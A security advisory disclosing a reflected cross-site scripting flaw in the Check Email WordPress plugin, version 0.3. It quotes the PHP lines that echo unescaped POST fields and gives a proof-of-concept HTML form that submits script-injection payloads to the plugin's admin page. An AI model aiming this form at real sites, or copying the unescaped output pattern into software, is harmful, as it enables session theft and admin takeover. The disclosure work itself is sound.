Abstract
A Cross-Site Scripting vulnerability was found in the Check Email WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.
OVE ID
OVE-20160725-0009
Tested versions
This issue was successfully tested on Check Email WordPress Plugin version 0.3.
Fix
The issue is fixed in Check Email version 0.5.
Introduction
Check Email allows you to test if your WordPress installation is sending emails correctly by sending a test email to an address of your choice. A Cross-Site Scripting vulnerability was found in the Check Email WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf.
Details
A Reflected Cross-Site Scripting vulnerability exists in the Check Email WordPress plugin. This vulnerability allows an attacker to perform any action with the privileges of the admin user. The affected code is not protected with an anti-Cross-Site Request Forgery token. Consequently, it can be exploited by luring the target user into clicking a specially crafted link or visiting a malicious website (or advertisement).
The vulnerability exists in the file check-email/check-email.php
:
132: echo $_POST["checkemail_mime"];
140: echo $_POST["checkemail_type"];
148: echo $_POST["checkemail_from"];
156: echo $_POST["checkemail_cc"];
The vulnerability can be exploited using specially crafted URL parameters. In order to exploit this issue the target user must click a specially crafted link or visit a malicious website (or advertisement).
Proof of concept
<html>
<body>
<form action="http://172.16.52.198/wp-admin/tools.php?page=checkemail" method="POST">
<input type="hidden" name="checkemail_to" value="" />
<input type="hidden" name="checkemail_headers" value="custom" />
<input type="hidden" name="checkemail_mime" value=""><img src=x onerror=alert(1) />" />
<input type="hidden" name="checkemail_type" value=""><img src=x onerror=alert(2) /%3" />
<input type="hidden" name="checkemail_from" value=""><img src=x onerror=alert(3) />" />
<input type="hidden" name="checkemail_cc" value=""></textarea><script>alert(4);</script>" />
<input type="hidden" name="checkemail_break" value="\n" />
<input type="hidden" name="checkemail_go" value="Send test email" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>